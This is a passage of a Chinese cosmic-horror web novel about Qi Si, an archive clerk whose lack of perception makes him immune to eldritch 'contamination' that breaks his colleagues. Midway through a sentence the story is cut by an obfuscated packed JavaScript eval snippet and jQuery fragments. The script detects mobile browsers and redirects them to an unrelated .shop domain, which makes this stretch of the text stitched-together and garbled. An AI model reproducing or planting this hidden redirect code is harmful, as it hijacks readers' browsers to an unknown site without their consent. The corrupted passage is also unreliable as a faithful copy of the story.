它们顺着空气里的湿度，钻进隔壁工位那个人的耳朵里。


    隔壁工位的年轻男生猛地一抖，手里的鼠标掉在地上，瞳孔放大，嘴唇发白。


    “你们听见了吗？水声……水在说话……”


    “它们在笑……在笑我……”


    他声音越来越高，最后变成了尖叫。


    有人冲过来，按住他，给他塞镇静剂。


    齐司摘了一只耳机，看了一眼那边的动静，又看了一眼自己屏幕上的表格。


    表格里有一列空白，标着“最终保管者”。


    他把自己的名字填了进去。


    不是因为他想当这个“最终保管者”。


    而是因为系统不让这格空着，不填就不能保存。


    他填完，点了保存。


    系统弹出一个提示框：


    【检测到您已多次被选为“最终保管者”，是否申请更高权限以便统一管理？】


    【是 / 否】


    他看了一眼时间。


    离下班，还有三小时零七分钟。


    他点了“否”。


    提示框停顿了一下，像是在“思考”。


    然后又弹出一个新的：


    【根据上级评估，您已具备更高权限使用资格，是否接受授予？】


    【是 / 稍后】


    这次没有“否”。


    齐司想了想，点了“稍后”。


    系统界面微微一闪，像是被什么东西从远程改动了一下。


    【权限已自动提升。】


    【您现在可以访问：禁忌文本二级库、异常影像三号库、梦境污染案例库。】


    下面是一串细小的字：


    【注：根据心理稳定性评估结果，您被列为“长期暴露安全对象”。】


    他看了一眼这行字，心里只冒出一个念头：


    “这名字起得真怪。”


    然后关掉窗口，继续整理表格。


    ……


    傍晚，天色开始发灰。


    窗外的云层压得很低，像是一整块被翻过来的海底。


    远处的建筑轮廓变得模糊，像是被水泡过的纸板。


    走廊里的人声渐渐少了，剩下的脚步声在空旷的空间里显得格外清晰。


    有人经过他工位，停了一下。


    “齐司，你还不走？”


    “今天情况不太对，建议早点回去。”


    齐司看了一眼屏幕右下角的时间。


    离下班，还有二十六分钟。


    “再等一会儿。”他说，“我要把这个表格做完。”


    那人看了看他，又看了看他桌上的文件堆。


    那些文件堆里，夹着各种颜色的封条、警告标识、红色的“禁阅”章。


    普通人看一眼都会心里发毛。


    那人喉结动了动，眼神有点复杂。


    “你……最近有没有做什么奇怪的梦？”


    “有没有听见什么不对劲的声音？”


    “有没有觉得，水有点不对劲？比如洗手的时候，水龙头里的水会往上看你？”


    齐司想了想。


    “没有。”


    “我睡得挺死的。”


    “水就是水。”


    那人沉默了一会儿，像是在努力判断他是不是在嘴硬。


    最终，那人叹了口气，从怀里掏出一个小小的黑色本子，递给他。


    “那你帮我保管一下这个。”


    “这是我这段时间的调查记录，还有一些我不敢交上去的东西。”


    “密码是我身份证后六位，你记一下。”


    “如果我明天没来，你就把这个交给研究院的——算了，你直接交给中央档案库，他们会知道怎么处理。”


    齐司接过本子，翻了一下。


    里面的字迹一开始还算工整，到了后面越来越乱，笔画像是在颤抖。


    有几页上画满了密密麻麻的圆圈和线条，像是某种复杂的图案，又像是某种生物的剖面图。


    在某一页的角落，有一行被重重划过的字：


    【祂看见我了。】


    墨水在那一块地方渗得很深，纸张都被磨薄了一层。


    齐司看了一眼，只觉得“这人压力太大了”。


    他把本子合上，点点头。


    “行。”


    “我给你放抽屉里。”


    那人盯着他看了几秒，眼神里带着一种近乎病态的渴望。


    “你真的什么都没感觉？”


    “你看这些东西的时候，脑子里不会有那种……那种不属于自己的想法？”


    “不会听见有人在你耳边说话？”


    齐司想了想。


    “不会。”


    “我看这些，就跟看工作邮件差不多。”


    那人喉咙里发出一声古怪的笑，像是笑，又像是哭。


    “怪不得……”


    “怪不得他们都说，你可能是我们这批人里最接近‘祂’的存在。”


    “你知道吗？有些东西，只会对‘同类’保持沉默。”


    他说完这句话，像是突然意识到自己说多了，猛地闭上嘴，转身离开。


    走廊的灯光在他背影上拉出一条长长的影子，那影子在某一瞬间微微扭曲了一下，像是有另一层轮廓从里面探出来。


    那一层轮廓在走到齐司工位旁边的时候，停了一下。


    像是在“看”他。


    像是在试图“辨认”他。


    空气里有一瞬间的凝固，连空调出风口的风都像是停了半秒。


    那一层轮廓里，有什么东西伸出来，像是一只看不见的手，试图往他这边探。


    探到一半，碰到了一片彻底的空白。


    没有“恐惧”的味道，没有“好奇”的味道，连“排斥”的味道都没有。


    像是伸手进了一块被掏空的地方。


    那东西愣了一下。


    【……？】


    【标记错误？】


    【坐标偏移？】


    【这是……】


    它的意识结构里，某个用来“识别猎物”的模块开始报错。


    【未检测到预期反应。】


    【未检测到预期情绪。】


    【未检测到预期认知。】


    它本能地想要撤回。


    但在撤回的瞬间，它的一小截“边缘”被那片空白“擦”了一下。


    那不是攻击。


    更像是——被系统误判为“无效数据”，直接丢进了垃圾桶。


    那一小截“边缘”被剥离出去，失去了和主体的连接。


    它在空气里短暂地悬浮了一下，像是一块被切下来的阴影。


    然后，开始缓慢下沉。


    下沉，穿过桌面，穿过文件，穿过抽屉的木板。


    落进那堆已经被困在里面的“东西”中间。


    一瞬间，抽屉里所有看不见的东西都安静了一下。


    它们感知到了一块“来自源头”的碎片。


    那碎片带着某种它们熟悉的“味道”——


    旧日、深渊、无名、不可言说。


    但那味道上，又沾染了一点奇怪的“空白”。


    像是被什么东西擦过，擦掉了一部分本该存在的属性。


    【……】


    【源头残片。】


    【被剥离。】


    【被……忽略？】


    它们围上去，试图从那块碎片里读取更多信息。


    结果，那块碎片在它们的触碰下，开始缓慢崩解。


    不是被污染，不是被吞噬。


    而是像一段被系统判定为“损坏”的数据，自动执行了“清理”程序。


    一点一点，变成更小的碎屑，最后彻底消失。


    抽屉里一片死寂。


    那些东西第一次产生了一种接近“恐惧”的情绪。


    不是对“上位存在”的恐惧。


    而是对“空白”的恐惧。


    【那是什么？】


    【那不是祂。】


    【那也不是人。】


    【那是……缺失。】


    它们在黑暗里缩成一团，不再轻易伸出触须。


    外面，齐司关掉电脑，站起来，拿起自己的外套。


    下班时间到了。


    他把抽屉锁上，顺手把钥匙放进裤兜里。


    走廊的灯光有点发黄，空气里有消毒水的味道，还有一点淡淡的铁锈味。


    电梯里只有他一个人。


    电梯门合上的瞬间，镜面不锈钢的内壁上，短暂地浮现出一些奇怪的影子。


    像是某种巨大的轮廓被压缩成二维，在金属表面扭曲。


    那些轮廓在别人的眼里，会是“不可直视”的东西。


    在齐司眼里，只是“电梯灯反光有点花”。


    他抬手按了一下“1”层。


    电梯开始下行。


    在某个楼层经过的时候，电梯突然一顿，灯光闪了一下。


    一阵极低的嗡鸣声从四面八方传来，像是有人在金属后面用指甲慢慢刮。


    【……听见吗？】


    【……你在往下走。】


    【……再往下一点，就是水。】


    声音试图钻进他的脑子里。


    结果，在接触到某个区域的时候，再次被“空白”吞没。


    【信号未被解析。】


    【目标缺失相关感知模块。】


    【尝试绕行。】


    它们绕开他的意识，顺着电梯缝隙往外散。


    在电梯外面某一层的走廊里，有人突然捂着头，跪在地上，开始呕吐。


    呕吐物里全是水。


    电梯继续往下。


    齐司看着电梯门上方的数字从“7”变成“6”，再变成“5”。


    他在心里盘算：


    “回去路上要不要买点菜？”


    “冰箱里好像只剩两颗鸡蛋和半袋冷冻饺子。”


    电梯到了一层，门打开。


    大厅里灯光昏黄，值班台后面的人正低头写什么东西，眼圈发青，像是几天没睡好。


    看到齐司出来，那人愣了一下。


    “你今天才下班？”


    “你还敢一个人走？”


    齐司点点头。


    “正常下班时间。”


    那人张了张嘴，像是想说什么，最终只是从抽屉里拿出一个信封，递给他。


    “这是下午研究院送来的，说是给你的。”


    “他们说你现在权限提高了，有些东西只能你看。”


    齐司接过信封，摸了一下厚度。


    里面有一叠纸，还有一张U盘。


    信封封口处盖着红色的章：


    “只限指定保管者开启。”


    他拆开信封，在值班台旁边随手翻了一下。


    第一张纸上，是一份评估报告。


    【对象编号：Z-17】


    【姓名：齐司】


    【岗位：资料归档员】


    【接触禁忌文本次数：147】


    【接触异常影像次数：63】


    【接触梦境污染样本次数：21】


    【精神状态评估：稳定（异常稳定）】


    【理智值波动：无明显波动】


    【备注：疑似具备“先天性感知缺失”特征，对旧日信息污染呈天然免疫状态。】


    下面还有一行手写的字，笔迹潦草，却压得很重。


    【他可能是我们唯一能长期面对真相的人。】


    齐司看完，心里只冒出一个念头：


    “这帮人真会夸大。”


    他把纸往后一翻。


    后面是几张黑白照片，画质很差，像是从老旧监控里截出来的。


    照片里，有人对着某种扭曲的影像发疯，有人对着一面墙自言自语，有人站在水池前面，往水里伸手。


    最后一张，是他的背影。


    他坐在自己工位前，桌上堆满了各种带有“禁阅”标识的文件。


    照片的角落里，有一个小小的时间戳。


    【23:47】


    那是加班时间。


    但那天，他只是因为表格没做完，多留了一个小时。


    照片背面，有一行字。


    【在所有人开始出现不同程度的异常反应时，他仍然在整理文件。】


    齐司合上那叠纸，把它们塞回信封里。


    值班台后面的人盯着他，眼神有点发直。


    “你看了？”


    “你……没觉得哪里不对？”


    齐司想了想。


    “字有点小。”


    “下次让他们用大一点的字号。”


    那人喉咙里发出一声干笑，像是被什么东西卡住了。


    “你真是……”


    “算了，你快回去吧。”


    齐司点点头，把信封夹在腋下，走出大厅。


    外面的风有点凉，天已经完全黑了。


    街灯把地面照成一块块浅黄色的岛，岛和岛之间是深色的缝隙。


    那些缝隙在某些人的眼里，会是“张开的嘴”“窥视的眼睛”。


    在齐司眼里，只是“路灯之间的阴影”。


    他沿着人行道往前走，路过一个还开着的小超市。


    超市的玻璃门上贴着“今日特价：速冻水饺第二件半价”。


    他停了一下，推门进去。


    超市里有股混合的味道：方便面的调料粉、塑料包装的味道、冰柜里冷气的潮湿味。


    收银台旁边的小电视正放着新闻，画面有点雪花。


    【……近日，沿海多地出现异常潮汐现象，有目击者称在退潮时看见海底有巨大阴影移动……】


    【……气象部门表示，目前尚未发现明确原因，呼吁民众不要前往危险海域……】


    画面一闪，切到另一个新闻。


    【……某研究机构发生集体精神异常事件，目前已有多名工作人员被送往专门医院……】


    【……据不愿透露姓名的内部人士称，事件可能与某种“未公开的研究项目”有关……】


    电视的声音有点沙哑，像是被什么东西从中间咬了一口。


    齐司站在冰柜前，拉开门，拿了两袋速冻饺子。


    一袋猪肉白菜，一袋三鲜。


    他犹豫了一下，又拿了一盒鸡蛋。


    结账的时候，收银员是个戴着口罩的中年女人，眼睛下面有青黑的眼圈。


    她看了他一眼，突然压低声音。


    “你是调查局的吧？”


    “我看过你们那栋楼的出入证。”


    齐司“嗯”了一声。


    女人的手指在收银台上敲了敲，像是在犹豫要不要说下去。


    最终，她还是压低声音，飞快地说了一句。


    “你们小心点。”


    “最近水不太对劲。”


    她说完，像是被自己吓到，赶紧低头扫条码，不再看他。


    齐司提着塑料袋走出去。


    街角的下水道口里，有一阵极轻的水声。


    那水声在某一瞬间，像是变成了某种低语。


    【……看见你了。】


    【……你身上有我们的味道。】


    【……你是……】


    低语顺着空气往上爬，试图贴近他的耳朵。


    在接触到某个区域的时候，再次被“空白”吞没。


    【信号未被解析。】


    【对象缺失相关感知模块。】


    【尝试识别：】


    【……】


    【识别失败。】


    那低语停顿了一下，像是在“打量”他。


    然后，做出了一个对它们来说极其罕见的选择——


    【撤退。】


    水声慢慢退回下水道，重新变成普通的水流声。


    齐司提着饺子和鸡蛋，走回自己的出租屋。


    ……


    出租屋在一栋老旧的居民楼里，墙皮脱落，楼道里有股潮味。


    楼梯间的灯坏了一半，剩下的那一半忽明忽暗。


    有人在楼道里晾衣服，湿衣服滴下来的水在地上形成一小滩一小滩的水渍。


    那些水渍在某些人的眼里，会是“从地底渗出来的眼睛”。


    在齐司眼里，只是“有人拧衣服不干净”。


    他走到自己那层，掏钥匙开门。


    门锁转动的时候，门板轻微震动了一下，发出一声低沉的“咔嗒”。


    屋里很安静。


    他把东西放进厨房，打开冰箱，把饺子和鸡蛋塞进去。


    冰箱灯亮了一下，里面的冷气往外涌。


    冷气里夹杂着一点点看不见的东西——


    别人放在他那里的、带着“尾巴”的东西，已经不止在办公室的抽屉里。


    有些通过U盘，有些通过纸张，有些通过他衣服上沾到的灰尘，跟着他回了家。


    它们在冰箱的角落里，在床底的灰尘里，在书架的缝隙里。


    它们本该在某个夜晚，顺着梦境钻进他的脑子里。


    【梦境污染程序启动。】


    【目标：齐司。】


    【步骤一：在入睡前播放低语。】


    【步骤二：在浅睡眠阶段植入图像。】


    【步骤三：在深睡眠阶段绑定。】


    它们按部就班，开始执行。


    晚上十一点，齐司洗完澡，关灯，上床。


    屋里陷入黑暗。


    窗外的路灯透进来一条淡淡的光带，落在天花板上。


    天花板的角落里，有一小块水渍，像是一只张开的眼睛。


    那只“眼睛”在某一瞬间微微动了一下，像是在眨眼。


    【步骤一：低语。】


    空气里开始出现极轻的声音，像是有人在远处说话，又像是水在耳边流。


    【……看见我。】


    【……记住我。】


    【……梦见我。】


    这些声音顺着空气往他耳朵里钻。


    在接触到某个区域的时候，再次被“空白”吞没。


    【信号未被解析。】


    【对象缺失“梦境接收”模块。】


    【尝试绕行。】


    它们绕开耳朵，试图从皮肤、从呼吸、从心跳的节奏里找到入口。


    【步骤二：图像。】


    天花板上的水渍开始扩散，形成某种扭曲的图案。


    那图案在别人眼里，会是“不可名状的形体”。


    在齐司眼里，只是“墙皮又要掉了”。


    他翻了个身，把被子往上拉了拉。


    【步骤三：绑定。】


    那些东西终于意识到——


    这个目标的“梦境模块”本身就不完整。


    他睡得太死，梦境活动极低，几乎没有可以插入的空间。


    【……】


    【绑定失败。】


    【原因：目标缺失相关模块。】


    【尝试寻找替代路径。】


    它们在屋子里来回游走，最后，只好顺着墙体、顺着水管、顺着电线，重新退回更远的地方。


    退回的过程中，它们不小心在某个节点上留下了一点“痕迹”。


    那个节点，连接着一个更深的地方。


    一个本不该被轻易暴露的“源头”。


    那边，有什么东西缓慢地睁开了“眼睛”。


    【是谁在乱动我的线路。】


    那东西的意识顺着线路往上爬，试图找到那个“擅自乱动”的小东西。


    结果，线路在某个地方断掉了。


    断口附近，有一小块“空白”。


    那东西的意识触碰到那块空白，停了一下。


    【……？】


    【这是什么。】


    【不是人。】


    【不是我。】


    【是……缺失。】


    它试图往那块空白里探。


    探到一半，它的一小部分被“擦”掉了。


    那一小部分，带着它的“本质属性”。


    被擦掉的部分，顺着线路掉进了某个地方——


    办公室的抽屉里，出租屋的冰箱里，床底的灰尘里。


    它们在那里，变成了“残片”。


    残片开始缓慢崩解。


    那东西第一次感受到一种极其陌生的感受。


    不是“被反抗”，不是“被封印”。


    而是“被忽略”。


    【……】


    【不可接受。】


    【不可理解。】


    【错误。】


    它试图沿着别的线路绕过去。


    结果，每一条线路在接近那个“目标”的时候，都会不可避免地经过那块“空白”。


    每经过一次，它就会掉下一小块“边缘”。


    掉下来的“边缘”全都被那片空白“擦”掉，变成残片，掉进现实里，暴露在各种地方。


    暴露在抽屉里，暴露在文件里，暴露在U盘里。


    暴露在——齐司的“保管范围”里。


    它的“边缘”越来越少。


    它的“形状”开始出现轻微的缺口。


    那些缺口在别的存在眼里，会是“弱点”。


    但现在，没有别的存在敢靠近。


    因为它们也感知到了那片“空白”。


    【那是什么？】


    【那不是我们。】


    【那也不是人。】


    【那是……系统漏洞。】


    ……


    第二天早上，齐司醒来，洗漱，煮饺子。


    水在锅里翻滚，发出“咕嘟咕嘟”的声音。


    有那么一瞬间，那声音像是变成了某种低语。


    【……】


    【……】


    【……】


    他拿起手机，看了一眼时间。


    上班还早。


    他把饺子捞出来，蘸酱油吃。


    饺子皮有点烂，馅有点咸。


    他吃完，把碗放进水池里，打开水龙头。


    水流下来，冲在碗上，溅起一小片小小的水花。


    那些水花在某些人的眼里，会是“无数张开的小嘴”。


    在齐司眼里，只是“水压有点大”。


    他关掉水龙头，拿起包，出门上班。


    ……


    调查局的大楼今天比昨天更安静。


    走廊里空了很多工位，椅子空着，电脑屏幕黑着。


    有几个工位上，贴着黄色的封条。


    【暂时封锁。】


    【涉及未明异常事件。】


    【未经授权不得接触。】


    有人在走廊尽头低声说话。


    “昨天又送走了三个。”


    “听说有一个在救护车上就开始说海水在他脑子里灌。”


    “还有一个，把自己眼睛抠出来，说不想再看见‘祂’。”


    “你小点声。”


    “别乱说。”


    他们说话的时候，目光不自觉地往齐司这边飘。


    那目光里有好奇，有恐惧，还有一点说不清的东西。


    像是在看一个“异类”。


    研究院的人也来了。


    几个穿白大褂的，戴着胸牌，上面写着“精神污染研究部”。


    他们把齐司叫到一间小会议室。


    会议室里有一台投影仪，一面白板，几把椅子。


    桌上摆着一叠文件，还有一台录音笔。


    带头的是个戴眼镜的中年男人，眼神锐利，眼底却有疲惫的红血丝。


    “齐司，我们想再给你做一次评估。”


    “只是例行的，不会耽误你太久。”


    齐司坐下，点点头。


    “好。”


    他们给他看了一些图片。


    图片上是各种扭曲的图案、模糊的影子、看不出具体形状的“东西”。


    他们一边给他看，一边盯着他的瞳孔、心率、呼吸。


    “看到这张，你有什么感觉？”


    “像什么？”


    “有没有觉得头疼？恶心？心跳加快？”


    齐司看了一眼。


    “像打印机卡纸。”


    “感觉……有点花。”


    他们又给他听了一段录音。


    录音里有极低的嗡鸣声，夹杂着一些几乎听不清的低语。


    “听到什么？”


    “有没有觉得有人在跟你说话？”


    “有没有觉得声音从你脑子里出来？”


    齐司听了一会儿。


    “有点像空调坏了。”


    “声音不太清楚。”


    他们又让他看了一段视频。


    视频里是监控画面，走廊的灯光忽明忽暗，有人从


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16939309|192918||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    镜头前走过，影子在地上拉长、扭曲。


    在某一帧，有什么东西从天花板的缝隙里探出来，又缩回去。


    “你看到了什么？”


    “有没有觉得哪里不对劲？”


    齐司眯着眼睛看了一会儿。


    “画质太差了。”


    “你们应该换个高清摄像头。”


    会议室里安静了一瞬间。


    戴眼镜的中年男人低头在表格上写东西。


    【对象在面对一级、二级、三级禁忌刺激时，生理指标无明显波动。】


    【主观报告：无异常感受。】


    【推测：对象对旧日信息污染呈先天性“感知缺失”。】


    他写到这里，停了一下，又加了一句。


    【对象可能是目前唯一可以长期面对真相而不崩溃的人。】


    他抬头，看着齐司。


    “你知道吗？现在整个局里，能像你这样还正常上班的人，不多了。”


    齐司想了想。


    “那你们可以多发点补贴。”


    中年男人愣了一下，随即笑了一声，笑声里带着一点苦涩。


    “补贴会有的。”


    “权限也会有的。”


    他把桌上的一张卡推过来。


    “这是新的权限卡，可以进入更多的资料库。”


    “以后，很多东西可能都要由你来保管。”


    齐司看了一眼那张卡。


    卡面是深蓝色的，上面有一串银色的编号。


    【LV-Ω】


    他心里只冒出一个念头：


    “设计挺好看。”


    他把卡收起来。


    “我还是做原来的工作。”


    “整理文件。”


    中年男人点点头。


    “你只要做你原来的工作就行。”


    “剩下的，我们会处理。”


    他们以为，他是在“克制自己不去深入”。


    他们以为，他是在“保持距离”。


    他们不知道，他根本没有“深入”的能力。


    因为那一整块“感知模块”，从一开始就不存在。


    ……


    随着时间推移，越来越多的东西被塞到他的抽屉里、文件夹里、U盘里。


    同事们一个接一个地疯掉、失踪、写遗书。


    每一封遗书的最后一句，几乎都一样。


    【如果还有人能撑得住，请把这些东西交给齐司。】


    【他是我们最后的保管者。】


    【他看得见真相。】


    他们错了。


    齐司不是“看得见真相”。


    他是“看不见恐怖”。


    真相在他面前展开的时候，所有“恐怖”的部分都会被他的脑子自动屏蔽掉。


    剩下的，只是“信息”“数据”“格式问题”。


    旧日存在试图污染他，结果一次次失败。


    它们的低语绕开他，去污染别人。


    它们的梦境绕开他，去侵入别人。


    它们的触须绕开他，去抓住别人。


    每一次绕开，都会在经过他身边的时候，被那片“空白”擦掉一点点“边缘”。


    那些被擦掉的“边缘”，掉进现实里，变成残片。


    残片暴露了它们的“结构”“路径”“弱点”。


    研究院的人顺着这些残片，慢慢摸索出了一些东西。


    他们以为，是自己“调查有方”。


    他们不知道，是因为那个“系统漏洞”在不断地把“源头”的边缘磨掉，丢出来。


    齐司只是坐在自己的工位上，整理文件，锁抽屉，下班，回家，吃饭，睡觉。


    他没有做过任何主动的调查行为。


    但所有的线索、所有的遗物、所有的密码，都自动向他靠拢。


    所有的疯子、所有的神秘个体、所有的旧日触须，都在他身边绕来绕去，最后，不是撞在那片“空白”上，就是绕开他，暴露出更多东西。


    在别人眼里，他成了“唯一能长期面对真相的人”。


    只有他自己知道——


    他只是“什么都没感觉”。


    他只是“什么都没感觉”。


    ——


    “齐司，你在吗？”


    傍晚，办公室的灯只剩下几盏，天花板的白炽灯管在半明半暗之间轻微地嗡鸣，像远处压抑的海潮。


    齐司正把一摞纸质档案塞进牛皮纸袋，听见门口有人喊他名字，抬眼。


    门框那边探进来的是三组的文书小李，脸色发白，眼眶发青，眼球上细密的血丝像蛛网一样爬满，衬衫领口扣错了一颗扣子，整个人像是被什么东西在梦里反复碾压过。


    “在。”齐司把档案袋封口，拿起桌上的保温杯，准备下班。


    小李走进来时，脚步有点虚浮，鞋底在地砖上拖出细小的摩擦声。他手里抱着一个黑色密码箱，指节发抖，指甲缝里有没洗干净的黑墨痕迹。


    “我……我要调离。”小李声音发干，喉结滚动，“不对，是……是被强制休假。精神评估不过。”


    他勉强笑了一下，嘴角抽搐：“你知道的，最近……梦不太好。”


    齐司“哦”了一声，把保温杯拧紧，顺手关掉桌上的台灯。


    小李却像没看见他要走，径直把那个黑色密码箱放到齐司桌上，金属箱底与桌面接触，发出一声沉闷的“咚”。


    “这个给你。”小李压低声音，眼神在办公室里乱飘，像是在躲避什么看不见的东西，“里面是‘深潜档案’的原始抄本，还有……还有他们不让我带走的东西。”


    他呼吸急促，胸腔起伏得厉害，仿佛空气里有什么东西在挤压他的肺。


    “我知道你……你看那些东西没事。”小李盯着齐司，眼神里带着一种近乎狂热的确定，“你是我们这批里，唯一一个看完《溺海祷文》还能正常上班的人。”


    齐司想了想，才想起来那是什么——上个月被塞到他邮箱里的厚厚一叠黑墨手稿，字体歪斜，纸张潮湿发硬，散发着一股像是海藻腐烂又混着铁锈的味道。


    他当时在午休前翻了几页，觉得排版混乱、语句不通，像是某种格式完全崩坏的工作邮件，便合上，夹在一堆待归档的材料里，顺手压在打印机旁。


    后来那一堆材料被统一打包送去资料室，他连标题都没记住。


    “你留着吧。”齐司说，“我用不上。”


    “你一定要收下。”小李猛地抓住他的手腕，指尖冰冷，指节因为用力而发白，“他们会来找的。那些东西会顺着梦、顺着声音、顺着……顺着纸上的缝隙爬出来。”


    他声音忽然压低成耳语，嘴唇贴近齐司耳边，呼吸发烫：“它们已经在我眼睛后面了。每次眨眼，我都能看见海底的灯光。”


    齐司侧了下头，避开那股过近的气息，抽回手。


    “那你早点去医院。”他说。


    小李愣了一下，喉咙里发出一声干涩的笑：“医院？他们只会给我更多的药。药片上也有字，你知道吗？我昨天才发现，药片的刻痕连起来，是同一段祷文。”


    他说着，突然从口袋里掏出一个透明的小药瓶，瓶壁内侧有细密的黑色划痕，像是有人用极细的针在上面一笔一划刻字。瓶子里剩下三颗白色药片，表面微微发黄，刻痕在灯光下折射出暗淡的光。


    “我不敢吃了。”小李把药瓶也塞到齐司手里，“你帮我保管。还有这个——”


    他又从胸前口袋里摸出一张折得很细的纸，纸角已经被汗水浸透，边缘发软。


    “这是‘深潜档案’的总库密码。”小李盯着那张纸，眼神发直，“他们说要换密码，我……我怕我以后记不住。你帮我记着。你不会忘的，你脑子里……很干净。”


    纸被展开，露出一串长得近乎荒谬的混合字符：大写字母、小写字母、数字、奇怪的符号，还有几段看起来像是某种古文字的拼接。


    齐司扫了一眼，脑子里自动把这串东西归类成“需要抄到密码管理表里的临时字符串”，没有任何“神秘”“禁忌”的感觉。


    “我不记密码。”他说，“我都写在表上。”


    “那你就写。”小李急切地说，“写在你那儿。别写在别的地方。别让他们看见。”


    “谁？”齐司问。


    小李的眼神忽然空了一瞬，像是被人按了暂停键。


    办公室的空调风口吹出一阵冷风，吊顶里传来细微的金属震动声。远处走廊的灯闪了两下，又稳定下来。


    “他们。”小李机械地重复了一遍，喉咙里挤出一声低笑，“你知道的，那些在墙后面、在字缝里、在……在我们说话的间隙里听着的东西。”


    他笑着笑着，眼眶里忽然涌出眼泪，顺着脸颊滑下来，滴在齐司桌上的木纹上，迅速渗开一个深色的小圆点。


    “我撑不住了。”小李哑着嗓子说，“我一闭眼，就看见那片海。海底有一座城市，楼都是倒着长的，街道是空的，只有影子在走。它们叫我的名字，让我下去。”


    他抬手用力抓自己的头发，指尖陷进头皮，像是要把什么东西从脑子里抠出来。


    “你不会听见的，对吧？”小李忽然又盯着齐司，眼神里带着一种近乎羡慕的绝望，“你睡得着，对吧？你不会在梦里被拉下去。”


    “睡得着。”齐司说。


    他确实睡得很好。每天十一点前躺下，早上七点半自然醒。偶尔做梦，也是些诸如“打印机卡纸”“系统崩溃”“早上忘记打卡”之类的内容，醒来就忘。


    那些所谓的“低语”“召唤”“海底的灯光”，对他来说，大概和空调的嗡鸣、电梯的提示音差不多——属于“背景噪音”范畴，被大脑自动归类为“无关信息”，在感知层面直接屏蔽掉。


    “你真好。”小李喃喃道，像是在对一个已经站在岸上的人说话，而自己还在水里挣扎。


    他后退一步，整个人像是被抽空了力气，靠在门框上，肩膀轻微地抖。


    “记住，”他最后说，“箱子只能你开。密码也只能你看。别让他们……别让任何人替你看。”


    说完，他转身走了，脚步虚浮，却走得很快，像是在逃离什么。


    走廊尽头的灯光把他的背影拉得很长，影子在地上微微扭曲了一下，像是被什么看不见的水流冲刷过，又恢复原状。


    门关上，办公室里只剩下空调的风声和灯管的嗡鸣。


    齐司低头，看着桌上的黑色密码箱、透明药瓶和那张写着总库密码的纸。


    他把纸平铺在桌上，拿起笔，在一张标准的“机密资料访问记录表”上，工整地抄了一遍那串密码，填上“深潜档案总库（临时）”，日期、时间、经手人签名。


    签完字，他把原纸折好，塞进抽屉最里面，锁上。


    药瓶被他随手放进桌角的杂物盒里，和几枚散落的回形针、一块备用橡皮、一截没用完的订书针条放在一起。


    至于那个黑色密码箱，他试着拎了一下，分量不轻，金属表面冰凉，边角有轻微的磕碰痕迹，锁孔边缘磨得发亮，显然被频繁使用过。


    箱体上没有任何标记，只有底部贴着一小块已经卷边的标签纸，上面印着一串编号，最后几位是“17-03”。


    齐司看了看时间——下班时间已经过了十分钟。


    他把箱子也塞进下方的柜子里，锁上，拿起保温杯和包，关灯，出门。


    ——


    回家的路上，地铁车厢里人不多，晚高峰已经过去，空气里混着淡淡的消毒水味和塑料座椅的气味。


    车厢两端的电子屏幕上轮播着新闻：某沿海小城出现集体失眠事件，居民声称在梦中听见“海底的钟声”；某科研船在公海失联，最后一条无线电记录只有持续的低频噪音。


    齐司站在门边，手扶着扶手，眼睛看着屏幕，脑子里却在盘算明天要不要把那箱子登记到固定资产表里。


    旁边两个穿着调查局制服的年轻人压低声音在说话。


    “你听说了吗？三组的小李也被送去‘静养中心’了。”


    “又一个？这已经是这个月第几个了？”


    “谁知道呢。上面说是‘接触深层信息过度’，要轮换。我们这批估计也快了。”


    “我可不想去那个地方。上次送材料进去，门一关上，走廊的灯就开始闪。我总觉得墙里有人在看。”


    “别说了，背后发凉。”